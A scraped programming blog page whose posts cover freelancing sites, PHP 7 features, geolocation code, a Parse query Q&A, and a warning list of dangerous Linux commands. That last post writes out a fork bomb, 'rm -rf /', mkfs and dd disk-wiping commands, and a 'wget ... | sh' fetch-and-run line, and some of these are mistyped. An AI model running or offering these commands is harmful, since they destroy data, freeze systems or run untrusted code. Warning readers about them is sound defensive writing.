News Ticker

Latest Posts
Browsing Category "Programing"

TOP 10 Website to Earn Money Online 100% for Jobless

- Monday, July 6 2 Comments
Do you want to work at home or are you jobless. Today we posting out very helpful post for those who really want to earn in good figure. Being a freelancer can be extremely advantageous and is probably a dream for many designers and developers who are tired of the cubicle lifestyle. Not only do you get to choose only the jobs you are really interested in, you also have total flexibility in terms of time, whom you want to work with, and where you want to work at.

TOP 10 Website to Earn Money Online 100% for Jobless NewVijay



The problem now is where can you go to find work that will help you sustain your freelance lifestyle? To help you with this we have listed the best 50 freelancing job sites to help you in your project search. If you a company or individual looking to outsource or hire a freelancer, these sites will be able to serve that purpose as well.

Freelancer No 1

Find or post a project or post on this platform to get the best bids from a gamut of skilled web designers, copywriters or freelance programmers.

Elance

A popular online portal for freelancers, this is the ultimate place to meet professionals with business, technical and marketing expertise to get work done at an affordable price.

Upwork

The average budget size of a job here is around $5,000! It’s no wonder that this online marketplace is a great asset for both service providers and employers.

Toptal

Toptal is a hiring marketplace for developers of (almost) all programming languages; it provides “A”-level developers who truly skillful in their fields. You can apply as a freelance developer with the possibility of working with top tech companies or a cool startup.

99designs

99Designs is where companies go to get their logos, banners and websites designed. Designers are awarded a pre-determined amount of money if their design is chosen.

Envato Studio

A house for creatives and developers of many fields to find freelance gigs from all over the world. Apply as a service providers and once you are accepted, you can name your price for your service.

Fiverr

Want to test the waters of freelancing? Give Fiverr a shot. Projects go for between $5 and $10, and this is a great place to gain some experience to add to your portfolio.

StackOverflow Careers

StackOverflow is not only a solution-churning site, it also provides job listings of tech companies from all over the world. To apply for the job, you will need a Stack Career Accounts (you’ll need to be invited first).

Dribbble

Sign up for a Dribbble Pro account and show the “Hire me” button on your profile page or scour the job board for companies looking for freelancers.

Behance Job

Productivity and creativity go hand in hand at the job list section of this site. This exclusive site is known to convert creativity into lucrative services or products to promote unique ideas.

Whats new in PHP 7 Features, Changes, Performance etc

- Friday, June 26 No Comments






The PHP development team announces the immediate availability of PHP 7.0.0 Alpha 2. This is the second pre-release of the new PHP 7 major series. All users of PHP are encouraged to test this version carefully, and report any bugs and incompatibilities in the bug tracking system.

NOTE: THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!

Alpha 2 introduces the new Throwable interface and changes to the Exception hierarchy and about 25 bug fixes reported since the first alpha.

PHP 7.0.0 comes with new version of the Zend Engine with features such as (incomplete list):

Features:

  •     Improved performance: PHP 7 is up to twice as fast as PHP 5.6
  •     Consistent 64-bit support
  •     Many fatal errors are now Exceptions
  •     Removal of old and unsupported SAPIs and extensions
  •     The null coalescing operator (??)
  •     Combined comparison Operator (<=>)
  •     Return Type Declarations
  •     Scalar Type Declarations
  •     Anonymous Classes
  •     Combined Comparison Operator
  •     Null Coalesce Operator
  •     Scalar Type Declarations
  •     Return Type Declarations
  •     Anonymous Classes
  •     Unicode Codepoint Escape Syntax
  •     Closure call() Method
  •     Filtered unserialize()
  •     IntlChar Class
  •     Expectations
  •     Group use Declarations
  •     Generator Return Expressions
  •     Generator Delegation
  •     Integer Division with intdiv()
  •     session_start() Options
  •     preg_replace_callback_array() Function

Changes:
  •     Loosening Reserved Word Restrictions
  •     Uniform Variable Syntax
  •     Exceptions in the Engine
  •     Throwable Interface
  •     Integer Semantics
  •     JSON Extension Replaced with JSOND
  •     ZPP Failure on Overflow
  •     Fixes to foreach()'s Behaviour
  •     Changes to list()'s Behaviour
  •     Fixes to Custom Session Handler Return Values
  •     Deprecation of PHP 4-Style Constructors
  •     Removal of date.timezone Warning
  •     Removal of Alternative PHP Tags
  •     Removal of Multiple Default Blocks in Switch Statements
  •     Removal of Dead Server APIs
  •     Removal of Hex Support in Numerical Strings
  •     Removal of Deprecated Functionality
  •     Reclassification and Removal of E_STRICT Notices
  •     Deprecation of Salt Option for password_hash()
Performance:


Unarguably the greatest part about PHP 7 is the incredible performance boosts it provides to applications. This is a result of refactoring the Zend Engine to use more compact data structures and less heap allocations/deallocations.

The performance gains on real world applications will vary, though many applications seem to receive a ~100% performance boost - with lower memory consumption too!

The refactored codebase provides further opportunities for future optimisations as well (such as JIT compilation). So it looks like future PHP versions will continue to see performance enhancements too.

How to get User Location in JavaScript / jQuery PHP Website

- Monday, June 22 No Comments
How to get User Location in JavaScript / jQuery PHP Website-newvijay

Solution : 1




The HTML5 geolocation API will get you the user's latitude and longitude (assuming they opt in). If you need to get info such as the city, country, or postal code, you'll need to use a reverse-geocoding web service. There are plenty of those out there:

    Google
    Bing
    etc

So take your pick... just make sure to look at the terms & conditions and be sure you won't be in violation once the site goes live.

You should be able to find code samples by googling around a bit, it's a fairly common use case. The steps will be:

    Get the user's lat/lng with your existing code.
    Make an AJAX (JSONP) call to request the reverse-geocode (use your Geocode provider to figure out what URL to use. eg, for Google it is like this).

    Parse the JSON response to extract the info you need (country, city).




Solution : 2


Try this code using the hostip.info service:

$country=file_get_contents('http://api.hostip.info/get_html.php?ip=');
echo $country;

// Reformat the data returned (Keep only country and country abbr.)
$only_country=explode (" ", $country);

echo "Country : ".$only_country[1]." ".substr($only_country[2],0,4);


Solution : 3

MaxMind GeoIP is a good service. They also have a free city-level lookup service.

How to Parse Cloud Code relational query syntax

- Sunday, June 21 No Comments
How to Parse Cloud Code relational query syntax newvijay






 Question:
I have a cloud function on Parse. When it's called it retrieves a PFObject then adds a relation between that object and the user. This part works fine (Seen towards the end of the function). I'm having trouble getting the query that selects the PFObject to ignore those that the user is already related to

I'm sure i'm just not understanding how the relation query syntax works.



Parse.Cloud.define("NextMedia", function (request, response) {

    var LikeRequest = Parse.Object.extend("LikeRequest");
    var query = new Parse.Query(LikeRequest);

    query.equalTo("completed", false);
    console.log("user: " + Parse.User.current().id);

    query.notEqualTo("user", Parse.User.current());

    // Also only fetch if never been sent before
    // HERE SHOULD USE THE BELOW RELATIONSHIP
    var innerQuery = new Parse.Query(Parse.User);
    innerQuery.exists(Parse.User);
    query.matchesQuery("sentTo", innerQuery);

    query.ascending("createdAt");

    query.first({

        success: function (object) {
            // Successfully retrieved the object.
            console.log("Got 1 object: " + object.get('mediaId'));

            // Record that the user has been sent it
            var user = Parse.User.current();
            var relation = object.relation("sentTo"); // RELATION ADDED HERE

            relation.add(user);
            object.save();

            response.success(object);
        },
        error: function (error) {
            console.log("Error: " + error.code + " " + error.message);

            response.error("Error getting next mediaId");
        }
    });
});




Answer:

I think Kerem has it partially correct but notContained in is not dynamic enough for your case. You need to construct the query from the relation and then use doesNotMatchKeyInQuery to exclude those objects from your outer query.

This stretch:

// Also only fetch if never been sent before
// HERE SHOULD USE THE BELOW RELATIONSHIP
var innerQuery = new Parse.Query(Parse.User);
innerQuery.exists(Parse.User);
query.matchesQuery("sentTo", innerQuery);
Could be changed to:

// Also only fetch if never been sent before
query.notContainedIn("sentTo",[Parse.User.current()])


what about Query Constraints?

If you want to retrieve objects that do not match any of several values you can use notContainedIn

  // Finds objects from anyone who is neither Jonathan, Dario, nor Shawn
query.notContainedIn("playerName",
                     ["Jonathan Walsh", "Dario Wunsch", "Shawn Simon"]);

TOP 9 Dangerous Linux Shell Terminal Commands you should never execute

- Sunday, November 9 No Comments
Linux shell/terminal commands are very powerful and just a simple command could lead to one deleting a folder, files or root folder, etc.


In some cases, Linux won’t even ask you for confirmation rather it will execute the command right away causing you to lose valuable data and information stored in these files and folders.

It is common for people to post content on the web recommending new Linux users to execute these commands. This might seem like a joke for someone who has posted the content but it’s no laughing matter for the person on the other end.


We’ve gathered some Linux commands that are quite harmful for your system to help you avoid them. Do keep in mind that they are indeed dangerous and can even be altered in a variety of ways to produce new commands to inflict more damage.

An important thing to note is that some of these commands are only dangerous if they are prefixed with sudo on Ubuntu. While on other distributions of Linux, most of these given commands will be dangerous to execute as root.

Take a look at the 9 commands and codes you should avoid executing.

1. Linux Fork Bomb Command

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

2. Mv Folder/Dev/Null Command

mv folder/dev/null is another risky command. Dev/null or null device is a device file that discards all the data written on it but it reports that the writing operation is executed successfully. It is also known as bit bucked or black hole.

3. Rm -Rf Command

rm -rf command is a fast way to delete a folder and its content in the Linux operating system. If you don’t know how to use it properly then it can become very dangerous to the system. The most common combinations and options used with rm-rf command are listed below:

rm command is used to delete the files in Linux system.
rm -f command removes read-only files in folder without prompting.
rm -r command deletes the content of a folder recursively.
rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
rm -i command is used for removal of files and folders but a prompt will appear before removal.


4. Mkfs Command

mkfs can be a dangerous command for your Linux based system if you don’t know its purpose. Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

All the commands mentioned below will format the hard drive and it requires administrator rights:

mkfs
mkfs.ext3
mkfs.bfs
mkfs.ext2
mkfs.minix
mkfs.msdos
mkfs.reiserfs
mkfs.vfat

The command mkfs.cramfs will do the same thing as the above but it does not require administrator rights to execute.

5. Tar Bomb

The tar command is used for combining multiple files into a single file (archived file) in .tar format. A Tape Archive (Tar) bomb can be created with this command.

It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.

You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.

If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.


6. Dd Command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.

The command may be any one of these:

dd if=/dev/hda of=/dev/hdb
dd if=/dev/hda of=/dev/sdb
dd if=something of=/dev/hda
dd if=something of=/dev/sda

The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

7. Shell Script Code

Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

8. Malicious Source Code

Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source code and it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

9. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.